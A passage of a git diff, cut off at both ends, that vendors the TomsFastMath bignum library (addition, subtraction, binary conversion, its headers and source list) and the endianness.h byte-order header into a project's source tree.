/* In either case, ADD their magnitudes, */
/* and use the sign of the first number. */
c->sign = sa;
s_fp_add (a, b, c);
} else {
/* subtract a positive from a positive, OR */
/* subtract a negative from a negative. */
/* First, take the difference between their */
/* magnitudes, then... */
if (fp_cmp_mag (a, b) != FP_LT) {
/* Copy the sign from the first */
c->sign = sa;
/* The first has a larger or equal magnitude */
s_fp_sub (a, b, c);
} else {
/* The result has the *opposite* sign from */
/* the first number. */
c->sign = (sa == FP_ZPOS) ? FP_NEG : FP_ZPOS;
/* The second has a larger magnitude */
s_fp_sub (b, a, c);
}
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,29 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_to_unsigned_bin(fp_int *a, unsigned char *b)
{
int x;
fp_int t;
fp_init_copy(&t, a);
x = 0;
while (fp_iszero (&t) == FP_NO) {
b[x++] = (unsigned char) (t.dp[0] & 255);
fp_div_2d (&t, 8, &t, NULL);
}
fp_reverse (b, x);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,20 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
int fp_unsigned_bin_size(fp_int *a)
{
int size = fp_count_bits (a);
return (size / 8 + ((size & 7) != 0 ? 1 : 0));
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

42
src/crypto/tfm/s_fp_add.c Normal file
View File

@ -0,0 +1,42 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* unsigned addition */
void s_fp_add(fp_int *a, fp_int *b, fp_int *c)
{
int x, y, oldused;
register fp_word t;
y = MAX(a->used, b->used);
oldused = MIN(c->used, FP_SIZE);
c->used = y;
t = 0;
for (x = 0; x < y; x++) {
t += ((fp_word)a->dp[x]) + ((fp_word)b->dp[x]);
c->dp[x] = (fp_digit)t;
t >>= DIGIT_BIT;
}
if (t != 0 && x < FP_SIZE) {
c->dp[c->used++] = (fp_digit)t;
++x;
}
c->used = x;
for (; x < oldused; x++) {
c->dp[x] = 0;
}
fp_clamp(c);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

40
src/crypto/tfm/s_fp_sub.c Normal file
View File

@ -0,0 +1,40 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* unsigned subtraction ||a|| >= ||b|| ALWAYS! */
void s_fp_sub(fp_int *a, fp_int *b, fp_int *c)
{
int x, oldbused, oldused;
fp_word t;
oldused = c->used;
oldbused = b->used;
c->used = a->used;
t = 0;
for (x = 0; x < oldbused; x++) {
t = ((fp_word)a->dp[x]) - (((fp_word)b->dp[x]) + t);
c->dp[x] = (fp_digit)t;
t = (t >> DIGIT_BIT)&1;
}
for (; x < a->used; x++) {
t = ((fp_word)a->dp[x]) - t;
c->dp[x] = (fp_digit)t;
t = (t >> DIGIT_BIT)&1;
}
for (; x < oldused; x++) {
c->dp[x] = 0;
}
fp_clamp(c);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,35 @@
TFM_SRCS = \
./fp_2expt.c \
./fp_add.c \
./fp_cmp.c \
./fp_cmp_d.c \
./fp_cmp_mag.c \
./fp_count_bits.c \
./fp_div.c \
./fp_div_2.c \
./fp_div_2d.c \
./fp_exptmod.c \
./fp_invmod.c \
./fp_lshd.c \
./fp_mod.c \
./fp_mod_2d.c \
./fp_montgomery_reduce.c \
./fp_montgomery_setup.c \
./fp_montgomery_calc_normalization.c \
./fp_mul.c \
./fp_mul_2.c \
./fp_mul_2d.c \
./fp_mul_comba.c \
./fp_mul_d.c \
./fp_mulmod.c \
./fp_read_unsigned_bin.c \
./fp_reverse.c \
./fp_rshd.c \
./fp_set.c \
./fp_sqr.c \
./fp_sqr_comba_generic.c \
./fp_sub.c \
./fp_to_unsigned_bin.c \
./fp_unsigned_bin_size.c \
./s_fp_add.c \
./s_fp_sub.c

511
src/crypto/tfm/tfm.h Normal file
View File

@ -0,0 +1,511 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#ifndef TFM_H_
#define TFM_H_
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <limits.h>
#if defined(__TINYC__) && __TINYC__ <= 927
#define TFM_NO_ASM
#endif
/* 0xMaMiPaDe
* Major
* Minor
* Patch
* Development - 00=release, 01=in-development
*/
#define TFM_VERSION 0x000D0101
#define TFM_VERSION_S "v0.13.1-next"
#ifndef MIN
#define MIN(x,y) ((x)<(y)?(x):(y))
#endif
#ifndef MAX
#define MAX(x,y) ((x)>(y)?(x):(y))
#endif
/* externally define this symbol to ignore the default settings, useful for changing the build from the make process */
#ifndef TFM_ALREADY_SET
/* do we want the large set of small multiplications ?
Enable these if you are going to be doing a lot of small (<= 16 digit) multiplications say in ECC
Or if you're on a 64-bit machine doing RSA as a 1024-bit integer == 16 digits ;-)
*/
/* #define TFM_SMALL_SET */
/* do we want huge code
Enable these if you are doing 20, 24, 28, 32, 48, 64 digit multiplications (useful for RSA)
Less important on 64-bit machines as 32 digits == 2048 bits
*/
#if 0
#define TFM_MUL3
#define TFM_MUL4
#define TFM_MUL6
#define TFM_MUL7
#define TFM_MUL8
#define TFM_MUL9
#define TFM_MUL12
#define TFM_MUL17
#define TFM_MUL20
#define TFM_MUL24
#define TFM_MUL28
#define TFM_MUL32
#define TFM_MUL48
#define TFM_MUL64
#endif
#if 0
#define TFM_SQR3
#define TFM_SQR4
#define TFM_SQR6
#define TFM_SQR7
#define TFM_SQR8
#define TFM_SQR9
#define TFM_SQR12
#define TFM_SQR17
#define TFM_SQR20
#define TFM_SQR24
#define TFM_SQR28
#define TFM_SQR32
#define TFM_SQR48
#define TFM_SQR64
#endif
/* do we want some overflow checks
Not required if you make sure your numbers are within range (e.g. by default a modulus for fp_exptmod() can only be upto 2048 bits long)
*/
/* #define TFM_CHECK */
/* Is the target a P4 Prescott
*/
/* #define TFM_PRESCOTT */
/* Do we want timing resistant fp_exptmod() ?
* This makes it slower but also timing invariant with respect to the exponent
*/
/* #define TFM_TIMING_RESISTANT */
#endif
/* Max size of any number in bits. Basically the largest size you will be multiplying
* should be half [or smaller] of FP_MAX_SIZE-four_digit
*
* You can externally define this or it defaults to 4096-bits [allowing multiplications upto 2048x2048 bits ]
*/
#ifndef FP_MAX_SIZE
#define FP_MAX_SIZE (4096+(8*DIGIT_BIT))
#endif
/* will this lib work? */
#if (CHAR_BIT & 7)
#error CHAR_BIT must be a multiple of eight.
#endif
#if FP_MAX_SIZE % CHAR_BIT
#error FP_MAX_SIZE must be a multiple of CHAR_BIT
#endif
#if __SIZEOF_LONG__ == 8
#define FP_64BIT
#endif
/* autodetect x86-64 and make sure we are using 64-bit digits with x86-64 asm */
#if defined(__x86_64__)
#if defined(TFM_X86) || defined(TFM_SSE2) || defined(TFM_ARM)
#error x86-64 detected, x86-32/SSE2/ARM optimizations are not valid!
#endif
#if !defined(TFM_X86_64) && !defined(TFM_NO_ASM)
#define TFM_X86_64
#endif
#endif
#if defined(TFM_X86_64)
#if !defined(FP_64BIT)
#define FP_64BIT
#endif
#endif
/* try to detect x86-32 */
#if defined(__i386__) && !defined(TFM_SSE2)
#if defined(TFM_X86_64) || defined(TFM_ARM)
#error x86-32 detected, x86-64/ARM optimizations are not valid!
#endif
#if !defined(TFM_X86) && !defined(TFM_NO_ASM)
#define TFM_X86
#endif
#endif
/* make sure we're 32-bit for x86-32/sse/arm/ppc32 */
#if (defined(TFM_X86) || defined(TFM_SSE2) || defined(TFM_ARM) || defined(TFM_PPC32)) && defined(FP_64BIT)
#warning x86-32, SSE2 and ARM, PPC32 optimizations require 32-bit digits (undefining)
#undef FP_64BIT
#endif
/* multi asms? */
#ifdef TFM_X86
#define TFM_ASM
#endif
#ifdef TFM_X86_64
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
#ifdef TFM_SSE2
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
#ifdef TFM_ARM
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
#ifdef TFM_PPC32
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
#ifdef TFM_PPC64
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
#ifdef TFM_AVR32
#ifdef TFM_ASM
#error TFM_ASM already defined!
#endif
#define TFM_ASM
#endif
/* we want no asm? */
#ifdef TFM_NO_ASM
#undef TFM_X86
#undef TFM_X86_64
#undef TFM_SSE2
#undef TFM_ARM
#undef TFM_PPC32
#undef TFM_PPC64
#undef TFM_AVR32
#undef TFM_ASM
#endif
/* ECC helpers */
#ifdef TFM_ECC192
#ifdef FP_64BIT
#define TFM_MUL3
#define TFM_SQR3
#else
#define TFM_MUL6
#define TFM_SQR6
#endif
#endif
#ifdef TFM_ECC224
#ifdef FP_64BIT
#define TFM_MUL4
#define TFM_SQR4
#else
#define TFM_MUL7
#define TFM_SQR7
#endif
#endif
#ifdef TFM_ECC256
#ifdef FP_64BIT
#define TFM_MUL4
#define TFM_SQR4
#else
#define TFM_MUL8
#define TFM_SQR8
#endif
#endif
#ifdef TFM_ECC384
#ifdef FP_64BIT
#define TFM_MUL6
#define TFM_SQR6
#else
#define TFM_MUL12
#define TFM_SQR12
#endif
#endif
#ifdef TFM_ECC521
#ifdef FP_64BIT
#define TFM_MUL9
#define TFM_SQR9
#else
#define TFM_MUL17
#define TFM_SQR17
#endif
#endif
/* use arc4random on platforms that support it */
#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || defined(__DragonFly__)
#define FP_GEN_RANDOM() arc4random()
#define FP_GEN_RANDOM_MAX 0xffffffff
#endif
/* use rand() as fall-back if there's no better rand function */
#ifndef FP_GEN_RANDOM
#define FP_GEN_RANDOM() rand()
#define FP_GEN_RANDOM_MAX RAND_MAX
#endif
/* some default configurations.
*/
#if defined(FP_64BIT)
/* for GCC only on supported platforms */
#ifndef CRYPT
#ifndef LTC_ULONG64
#define LTC_ULONG64
typedef unsigned long long ulong64;
#endif
#endif /* CRYPT */
typedef ulong64 fp_digit;
#define SIZEOF_FP_DIGIT 8
typedef unsigned long fp_word __attribute__ ((mode(TI)));
#else
/* this is to make porting into LibTomCrypt easier :-) */
#ifndef CRYPT
#if defined(_MSC_VER) || defined(__BORLANDC__)
#ifndef LTC_ULONG64
#define LTC_ULONG64
typedef unsigned __int64 ulong64;
#endif
typedef signed __int64 long64;
#else
#ifndef LTC_ULONG64
#define LTC_ULONG64
typedef unsigned long long ulong64;
#endif
typedef signed long long long64;
#endif /* defined(_MSC_VER) ... */
#endif /* CRYPT */
typedef unsigned int fp_digit;
#define SIZEOF_FP_DIGIT 4
typedef ulong64 fp_word;
#endif /* FP_64BIT */
/* # of digits this is */
#define DIGIT_BIT ((CHAR_BIT) * SIZEOF_FP_DIGIT)
#define FP_MASK (fp_digit)(-1)
#define FP_SIZE (FP_MAX_SIZE/DIGIT_BIT)
/* signs */
#define FP_ZPOS 0
#define FP_NEG 1
/* return codes */
#define FP_OKAY 0
#define FP_VAL 1
#define FP_MEM 2
/* equalities */
#define FP_LT -1 /* less than */
#define FP_EQ 0 /* equal to */
#define FP_GT 1 /* greater than */
/* replies */
#define FP_YES 1 /* yes response */
#define FP_NO 0 /* no response */
/* a FP type */
typedef struct {
fp_digit dp[FP_SIZE];
int used,
sign;
} fp_int;
/* functions */
/* returns a TFM ident string useful for debugging... */
const char *fp_ident(void);
/* initialize [or zero] an fp int */
#define fp_init(a) (void)memset((a), 0, sizeof(fp_int))
#define fp_zero(a) fp_init(a)
/* zero/even/odd ? */
#define fp_iszero(a) (((a)->used == 0) ? FP_YES : FP_NO)
#define fp_iseven(a) (((a)->used >= 0 && (((a)->dp[0] & 1) == 0)) ? FP_YES : FP_NO)
#define fp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? FP_YES : FP_NO)
/* set to a small digit */
void fp_set(fp_int *a, fp_digit b);
/* makes a pseudo-random int of a given size */
void fp_rand(fp_int *a, int digits);
/* copy from a to b */
#define fp_copy(a, b) (void)(((a) != (b)) && memcpy((b), (a), sizeof(fp_int)))
#define fp_init_copy(a, b) fp_copy(b, a)
/* clamp digits */
#define fp_clamp(a) { while ((a)->used && (a)->dp[(a)->used-1] == 0) --((a)->used); (a)->sign = (a)->used ? (a)->sign : FP_ZPOS; }
/* negate and absolute */
#define fp_neg(a, b) { fp_copy(a, b); (b)->sign ^= 1; fp_clamp(b); }
#define fp_abs(a, b) { fp_copy(a, b); (b)->sign = 0; }
/* right shift x digits */
void fp_rshd(fp_int *a, int x);
/* left shift x digits */
void fp_lshd(fp_int *a, int x);
/* signed comparison */
int fp_cmp(fp_int *a, fp_int *b);
/* unsigned comparison */
int fp_cmp_mag(fp_int *a, fp_int *b);
/* power of 2 operations */
void fp_div_2d(fp_int *a, int b, fp_int *c, fp_int *d);
void fp_mod_2d(fp_int *a, int b, fp_int *c);
void fp_mul_2d(fp_int *a, int b, fp_int *c);
void fp_2expt (fp_int *a, int b);
void fp_mul_2(fp_int *a, fp_int *c);
void fp_div_2(fp_int *a, fp_int *c);
/* Counts the number of lsbs which are zero before the first zero bit */
int fp_cnt_lsb(fp_int *a);
/* c = a + b */
void fp_add(fp_int *a, fp_int *b, fp_int *c);
/* c = a - b */
void fp_sub(fp_int *a, fp_int *b, fp_int *c);
/* c = a * b */
void fp_mul(fp_int *a, fp_int *b, fp_int *c);
/* b = a*a */
void fp_sqr(fp_int *a, fp_int *b);
/* a/b => cb + d == a */
int fp_div(fp_int *a, fp_int *b, fp_int *c, fp_int *d);
/* c = a mod b, 0 <= c < b */
int fp_mod(fp_int *a, fp_int *b, fp_int *c);
/* compare against a single digit */
int fp_cmp_d(fp_int *a, fp_digit b);
/* c = a + b */
void fp_add_d(fp_int *a, fp_digit b, fp_int *c);
/* c = a - b */
void fp_sub_d(fp_int *a, fp_digit b, fp_int *c);
/* c = a * b */
void fp_mul_d(fp_int *a, fp_digit b, fp_int *c);
/* a/b => cb + d == a */
int fp_div_d(fp_int *a, fp_digit b, fp_int *c, fp_digit *d);
/* c = a mod b, 0 <= c < b */
int fp_mod_d(fp_int *a, fp_digit b, fp_digit *c);
/* ---> number theory <--- */
/* d = a + b (mod c) */
int fp_addmod(fp_int *a, fp_int *b, fp_int *c, fp_int *d);
/* d = a - b (mod c) */
int fp_submod(fp_int *a, fp_int *b, fp_int *c, fp_int *d);
/* d = a * b (mod c) */
int fp_mulmod(fp_int *a, fp_int *b, fp_int *c, fp_int *d);
/* c = a * a (mod b) */
int fp_sqrmod(fp_int *a, fp_int *b, fp_int *c);
/* c = 1/a (mod b) */
int fp_invmod(fp_int *a, fp_int *b, fp_int *c);
/* c = (a, b) */
void fp_gcd(fp_int *a, fp_int *b, fp_int *c);
/* c = [a, b] */
void fp_lcm(fp_int *a, fp_int *b, fp_int *c);
/* setups the montgomery reduction */
int fp_montgomery_setup(fp_int *a, fp_digit *mp);
/* computes a = B**n mod b without division or multiplication useful for
* normalizing numbers in a Montgomery system.
*/
void fp_montgomery_calc_normalization(fp_int *a, fp_int *b);
/* computes x/R == x (mod N) via Montgomery Reduction */
void fp_montgomery_reduce(fp_int *a, fp_int *m, fp_digit mp);
/* d = a**b (mod c) */
int fp_exptmod(fp_int *a, fp_int *b, fp_int *c, fp_int *d);
/* primality stuff */
/* perform a Miller-Rabin test of a to the base b and store result in "result" */
void fp_prime_miller_rabin (fp_int * a, fp_int * b, int *result);
#define FP_PRIME_SIZE 256
/* 256 trial divisions + 8 Miller-Rabins, returns FP_YES if probable prime */
int fp_isprime(fp_int *a);
/* extended version of fp_isprime, do 't' Miller-Rabins instead of only 8 */
int fp_isprime_ex(fp_int *a, int t);
/* Primality generation flags */
#define TFM_PRIME_BBS 0x0001 /* BBS style prime */
#define TFM_PRIME_SAFE 0x0002 /* Safe prime (p-1)/2 == prime */
#define TFM_PRIME_2MSB_OFF 0x0004 /* force 2nd MSB to 0 */
#define TFM_PRIME_2MSB_ON 0x0008 /* force 2nd MSB to 1 */
/* callback for fp_prime_random, should fill dst with random bytes and return how many read [upto len] */
typedef int tfm_prime_callback(unsigned char *dst, int len, void *dat);
#define fp_prime_random(a, t, size, bbs, cb, dat) fp_prime_random_ex(a, t, ((size) * 8) + 1, (bbs==1)?TFM_PRIME_BBS:0, cb, dat)
int fp_prime_random_ex(fp_int *a, int t, int size, int flags, tfm_prime_callback cb, void *dat);
/* radix conersions */
int fp_count_bits(fp_int *a);
int fp_unsigned_bin_size(fp_int *a);
void fp_read_unsigned_bin(fp_int *a, const unsigned char *b, int c);
void fp_to_unsigned_bin(fp_int *a, unsigned char *b);
int fp_signed_bin_size(fp_int *a);
void fp_read_signed_bin(fp_int *a, const unsigned char *b, int c);
void fp_to_signed_bin(fp_int *a, unsigned char *b);
int fp_read_radix(fp_int *a, const char *str, int radix);
int fp_radix_size(fp_int *a, int radix, int *size);
int fp_toradix(fp_int *a, char *str, int radix);
int fp_toradix_n(fp_int * a, char *str, int radix, int maxlen);
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,125 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#ifndef TFM_PRIVATE_H_
#define TFM_PRIVATE_H_
#include "tfm.h"
/* VARIOUS LOW LEVEL STUFFS */
void s_fp_add(fp_int *a, fp_int *b, fp_int *c);
void s_fp_sub(fp_int *a, fp_int *b, fp_int *c);
void fp_reverse(unsigned char *s, int len);
void fp_mul_comba(fp_int *A, fp_int *B, fp_int *C);
#ifdef TFM_SMALL_SET
void fp_mul_comba_small(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL3
void fp_mul_comba3(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL4
void fp_mul_comba4(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL6
void fp_mul_comba6(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL7
void fp_mul_comba7(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL8
void fp_mul_comba8(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL9
void fp_mul_comba9(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL12
void fp_mul_comba12(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL17
void fp_mul_comba17(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL20
void fp_mul_comba20(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL24
void fp_mul_comba24(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL28
void fp_mul_comba28(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL32
void fp_mul_comba32(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL48
void fp_mul_comba48(fp_int *A, fp_int *B, fp_int *C);
#endif
#ifdef TFM_MUL64
void fp_mul_comba64(fp_int *A, fp_int *B, fp_int *C);
#endif
void fp_sqr_comba(fp_int *A, fp_int *B);
#ifdef TFM_SMALL_SET
void fp_sqr_comba_small(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR3
void fp_sqr_comba3(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR4
void fp_sqr_comba4(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR6
void fp_sqr_comba6(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR7
void fp_sqr_comba7(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR8
void fp_sqr_comba8(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR9
void fp_sqr_comba9(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR12
void fp_sqr_comba12(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR17
void fp_sqr_comba17(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR20
void fp_sqr_comba20(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR24
void fp_sqr_comba24(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR28
void fp_sqr_comba28(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR32
void fp_sqr_comba32(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR48
void fp_sqr_comba48(fp_int *A, fp_int *B);
#endif
#ifdef TFM_SQR64
void fp_sqr_comba64(fp_int *A, fp_int *B);
#endif
extern const char *fp_s_rmap;
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

272
src/endianness.h Normal file
View File

@ -0,0 +1,272 @@
#ifndef ENDIANNESS_H
#define ENDIANNESS_H
/* Public domain implementation for endianness detection and byte ordering on
several platforms. In case the concept of public domain does not exist
under your jurisdiction, you can consider it to be dual licensed
under the MIT, Apache and WTFPL licenses.
Grab it and drop it into your project, include it and use
the following macros to determine endianness:
ENDIANNESS_LE, ENDIANNESS_BE
e.g. #if ENDIANNESS_LE ...
or, even nicer without littering your code with #ifdefs:
if (ENDIANNESS_BE) { big_endian_code(); } else { little_endian_code(); }
... since the compiler can optimize away unused branches, this makes your
code easier to read while not loosing any of the advantage of using
conditional compilation, plus you get a free compile-time check of the
unused code path (rarely used conditonally compiled code paths often get
defunct over time if nobody checks them all the time).
To debug this header yourself, you can define ENDIANNESS_DEBUG to see
warnings from where we take the defs for the specific target.
If you need only the conversion functions from big to little endian
and vice versa, you may want to #define ENDIANNESS_PORTABLE_CONVERSION
prior to including this header. That way, when the endiannes can't be
determined at compile time, the code will fallback to a slower,
but portable version of those functions.
However, if using it, it's not guaranteed that ENDIANNESS_LE/BE
will be defined.
Most people however need only the conversion functions in their code,
so if you stick to them you can safely turn the portable conversion on.
*/
/* This should catch all modern GCCs and Clang */
#if (defined __BYTE_ORDER__) && (defined __ORDER_LITTLE_ENDIAN__)
# ifdef ENDIANNESS_DEBUG
# warning "Taking endiannes from built-in __BYTE_ORDER__"
# endif
# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
# define ENDIANNESS_LE 1
# define ENDIANNESS_BE 0
# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
# define ENDIANNESS_LE 0
# define ENDIANNESS_BE 1
# endif
/* Try to derive from arch/compiler-specific macros */
#elif defined(_X86_) || defined(__x86_64__) || defined(__i386__) || \
defined(__i486__) || defined(__i586__) || defined(__i686__) || \
defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) || \
defined(__ARMEL__) || \
(defined(__LITTLE_ENDIAN__) && __LITTLE_ENDIAN__ == 1) || \
(defined(_LITTLE_ENDIAN) && _LITTLE_ENDIAN == 1) || \
defined(_M_IX86) || defined(_M_AMD64) /* MSVC */
# ifdef ENDIANNESS_DEBUG
# warning "Detected Little Endian target CPU"
# endif
# define ENDIANNESS_LE 1
# define ENDIANNESS_BE 0
#elif defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) || \
defined(__MICROBLAZEEB__) || defined(__ARMEB__) || \
(defined(__BIG_ENDIAN__) && __BIG_ENDIAN__ == 1) || \
(defined(_BIG_ENDIAN) && _BIG_ENDIAN == 1)
# ifdef ENDIANNESS_DEBUG
# warning "Detected Big Endian target CPU"
# endif
# define ENDIANNESS_LE 0
# define ENDIANNESS_BE 1
/* Try to get it from a header */
#else
# if defined(__linux)
# ifdef ENDIANNESS_DEBUG
# warning "Taking endiannes from endian.h"
# endif
# include <endian.h>
# else
# ifdef ENDIANNESS_DEBUG
# warning "Taking endiannes from machine/endian.h"
# endif
# include <machine/endian.h>
# endif
#endif
#ifndef ENDIANNESS_LE
# undef ENDIANNESS_BE
# if defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN)
# if __BYTE_ORDER == __LITTLE_ENDIAN
# define ENDIANNESS_LE 1
# define ENDIANNESS_BE 0
# elif __BYTE_ORDER == __BIG_ENDIAN
# define ENDIANNESS_LE 0
# define ENDIANNESS_BE 1
# endif
# elif defined(BYTE_ORDER) && defined(LITTLE_ENDIAN)
# if BYTE_ORDER == LITTLE_ENDIAN
# define ENDIANNESS_LE 1
# define ENDIANNESS_BE 0
# elif BYTE_ORDER == BIG_ENDIAN
# define ENDIANNESS_LE 0
# define ENDIANNESS_BE 1
# endif
# endif
#endif
/* In case the user passed one of -DENDIANNESS_LE or BE in CPPFLAS,
set the second one too */
#if defined(ENDIANNESS_LE) && !(defined(ENDIANNESS_BE))
# if ENDIANNESS_LE == 0
# define ENDIANNESS_BE 1
# else
# define ENDIANNESS_BE 0
# endif
#elif defined(ENDIANNESS_BE) && !(defined(ENDIANNESS_LE))
# if ENDIANNESS_BE == 0
# define ENDIANNESS_LE 1
# else
# define ENDIANNESS_LE 0
# endif
#endif
#if !(defined(ENDIANNESS_LE)) && !(defined(ENDIANNESS_PORTABLE_CONVERSION))
# error "Sorry, we couldn't detect endiannes for your system! Please set -DENDIANNESS_LE=1 or 0 using your CPPFLAGS/CFLAGS and open an issue for your system on https://github.com/rofl0r/endianness.h - Thanks!"
#endif
#ifdef ENDIANNESS_DEBUG
# if ENDIANNESS_LE == 1
# warning "Detected Little Endian target CPU"
# endif
# if ENDIANNESS_BE == 1
# warning "Detected BIG Endian target CPU"
# endif
#endif
#include <stdint.h>
#include <limits.h>
static __inline uint16_t end_bswap16(uint16_t __x)
{
return (__x<<8) | (__x>>8);
}
static __inline uint32_t end_bswap32(uint32_t __x)
{
return (__x>>24) | (__x>>8&0xff00) | (__x<<8&0xff0000) | (__x<<24);
}
static __inline uint64_t end_bswap64(uint64_t __x)
{
return ((end_bswap32(__x)+0ULL)<<32) | (end_bswap32(__x>>32));
}
static __inline uint16_t end_net2host16(uint16_t net_number)
{
uint16_t result = 0;
int i;
for (i = 0; i < (int)sizeof(result); i++) {
result <<= CHAR_BIT;
result += (((unsigned char *)&net_number)[i] & UCHAR_MAX);
}
return result;
}
static __inline uint16_t end_host2net16(uint16_t native_number)
{
uint16_t result = 0;
int i;
for (i = (int)sizeof(result) - 1; i >= 0; i--) {
((unsigned char *)&result)[i] = native_number & UCHAR_MAX;
native_number >>= CHAR_BIT;
}
return result;
}
static __inline uint32_t end_net2host32(uint32_t net_number)
{
uint32_t result = 0;
int i;
for (i = 0; i < (int)sizeof(result); i++) {
result <<= CHAR_BIT;
result += (((unsigned char *)&net_number)[i] & UCHAR_MAX);
}
return result;
}
static __inline uint32_t end_host2net32(uint32_t native_number)
{
uint32_t result = 0;
int i;
for (i = (int)sizeof(result) - 1; i >= 0; i--) {
((unsigned char *)&result)[i] = native_number & UCHAR_MAX;
native_number >>= CHAR_BIT;
}
return result;
}
static __inline uint64_t end_net2host64(uint64_t net_number)
{
uint64_t result = 0;
int i;
for (i = 0; i < (int)sizeof(result); i++) {
result <<= CHAR_BIT;
result += (((unsigned char *)&net_number)[i] & UCHAR_MAX);
}
return result;
}
static __inline uint64_t end_host2net64(uint64_t native_number)
{
uint64_t result = 0;
int i;
for (i = (int)sizeof(result) - 1; i >= 0; i--) {
((unsigned char *)&result)[i] = native_number & UCHAR_MAX;
native_number >>= CHAR_BIT;
}
return result;
}
#if ENDIANNESS_LE+0 == 1
# define end_htobe16(x) end_bswap16(x)
# define end_be16toh(x) end_bswap16(x)
# define end_htobe32(x) end_bswap32(x)
# define end_be32toh(x) end_bswap32(x)
# define end_htobe64(x) end_bswap64(x)
# define end_be64toh(x) end_bswap64(x)
# define end_htole16(x) (uint16_t)(x)
# define end_le16toh(x) (uint16_t)(x)
# define end_htole32(x) (uint32_t)(x)
# define end_le32toh(x) (uint32_t)(x)
# define end_htole64(x) (uint64_t)(x)
# define end_le64toh(x) (uint64_t)(x)
#elif ENDIANNESS_BE+0 == 1
# define end_htobe16(x) (uint16_t)(x)
# define end_be16toh(x) (uint16_t)(x)
# define end_htobe32(x) (uint32_t)(x)
# define end_be32toh(x) (uint32_t)(x)
# define end_htobe64(x) (uint64_t)(x)
# define end_be64toh(x) (uint64_t)(x)
# define end_htole16(x) end_bswap16(x)
# define end_le16toh(x) end_bswap16(x)
# define end_htole32(x) end_bswap32(x)
# define end_le32toh(x) end_bswap32(x)
# define end_htole64(x) end_bswap64(x)
# define end_le64toh(x) end_bswap64(x)
#else
/* Resort to slower, but neutral code */
# define end_htobe16(x) end_host2net16(x)
# define end_be16toh(x) end_net2host16(x)
# define end_htobe32(x) end_host2net32(x)
# define end_be32toh(x) end_net2host32(x)
# define end_htobe64(x) end_host2net64(x)
# define end_be64toh(x) end_net2host64(x)
# define end_htole16(x) end_bswap_16(end_host2net16(x))
# define end_le16toh(x) end_bswap_16(end_host2net16(x))
# define end_htole32(x) end_bswap_32(end_host2net32(x))
